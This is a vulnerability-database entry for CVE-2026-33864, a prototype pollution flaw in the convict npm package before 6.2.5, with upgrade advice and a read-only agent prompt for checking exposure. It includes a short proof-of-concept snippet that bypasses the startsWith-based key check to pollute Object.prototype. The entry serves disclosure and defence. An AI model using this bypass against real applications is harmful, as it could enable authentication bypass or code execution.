# CVE-2026-33864: Convict has Prototype Pollution via startsWith() function

> Archived entry. Full-text search covers entries since 2026-11-10; exact IDs work for all years.

- **Severity:** CRITICAL
- **Exploited in the wild:** Not in CISA KEV
- **Public exploit / PoC:** None known
- **Remote exploitation:** Unknown
- **CWE:** CWE-1321
- **Aliases:** GHSA-44fc-8fm5-q62h
- **Published:** 2026-03-26T18:55:41.000Z
- **Modified:** 2026-03-26T19:11:25.646Z

## Who should check

- Projects that depend on npm package convict (\< 6.2.5)

## Description

\#\#\# Summary
A prototype pollution vulnerability exists in the latest version of the convict npm package (6.2.4). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input started with a forbidden key, it is still possible to pollute \`Object.prototype\` via a crafted input using \`String.prototype\`. 

\#\#\# Details
The vulnerability resides in line 564 of https://github.com/mozilla/node-convict/blob/master/packages/convict/src/main.js where \`startsWith()\` function is used to check whether user provided input contain forbidden strings. 

\#\#\# PoC
\#\#\#\# Steps to reproduce
1. Install latest version of convict using \`npm install\` or cloning from git
2. Run the following code snippet:

\`\`\`javascript
String.prototype.startsWith = () =\> false; 
const convict = require('convict');
let obj = {};
const config = convict(obj);
console.log({}.polluted);
config.set('constructor.prototype.polluted', 'yes');
console.log({}.polluted);    // prints yes -\> the patch is bypassed and prototype pollution occurred
\`\`\`

\#\#\#\# Expected behavior
Prototype pollution should be prevented and {} should not gain new properties.
This should be printed on the console:
\`\`\`
undefined
undefined OR throw an Error
\`\`\`

\#\#\#\# Actual behavior
\`Object.prototype\` is polluted 
This is printed on the console:
\`\`\`
undefined 
yes
\`\`\`

\#\#\# Impact
This is a prototype pollution vulnerability, which can have severe security implications depending on how convict is used by downstream applications. Any application that processes attacker-controlled input using \`convict.set\`  may be affected.
It could potentially lead to the following problems:

1. Authentication bypass
2. Denial of service
3. Remote code execution (if polluted property is passed to sinks like eval or child\_process)

## Affected and fixed versions

- npm `convict`: affected \< 6.2.5; fixed 6.2.5 (osv)

## Mitigation

- Upgrade convict to 6.2.5 or later.

## Check your systems with an agent

Paste this into a coding agent:

```text
Check whether anything I run is affected by CVE-2026-33864. Work read-only: do not install, upgrade, delete or change anything.

Details: https://flawdb.com/CVE-2026-33864.md
Affected: convict < 6.2.5
Fixed in: 6.2.5

Steps:
1. Search this machine and project for convict (npm): dependency manifests and lockfiles, installed packages, container images and running services.
2. For each match, note the installed version and whether it is inside the affected range.
3. Report a table: location, installed version, affected (yes / no / unsure), evidence. If affected, say which fixed version or mitigation from the details link applies, but don't apply it.
```

## FAQ

### Is CVE-2026-33864 being exploited?

There is no confirmed exploitation: CVE-2026-33864 is not in the CISA Known Exploited Vulnerabilities catalog. No public exploit code is known.

### How serious is CVE-2026-33864?

It has no CVSS score yet. Unknown.

### Which versions are affected by CVE-2026-33864?

convict \< 6.2.5.

### Is there a fix for CVE-2026-33864?

Yes. Fixed in 6.2.5. Upgrade convict to 6.2.5 or later.

### How do I check if I'm affected by CVE-2026-33864?

Find where you use the affected software (dependency lockfiles, installed packages, container images, servers) and compare the installed version with the affected range above. The agent prompt on this page does this read-only.

## References

- vendor: <https://github.com/mozilla/node-convict/security/advisories/GHSA-44fc-8fm5-q62h>
- other: <https://github.com/mozilla/node-convict>
- other: <https://github.com/mozilla/node-convict/blob/master/packages/convict/src/main.js>

## Attribution

- CVE Program: CVE® is a registered trademark of The MITRE Corporation. CVE records © 1999–2026 The MITRE Corporation. <https://www.cve.org/Legal/TermsOfUse>
- OSV: CC-BY 4.0 <https://osv.dev/vulnerability/GHSA-44fc-8fm5-q62h> (license: <https://creativecommons.org/licenses/by/4.0/>)

HTML: <https://flawdb.com/CVE-2026-33864> · JSON: <https://flawdb.com/api/v1/entries/CVE-2026-33864>
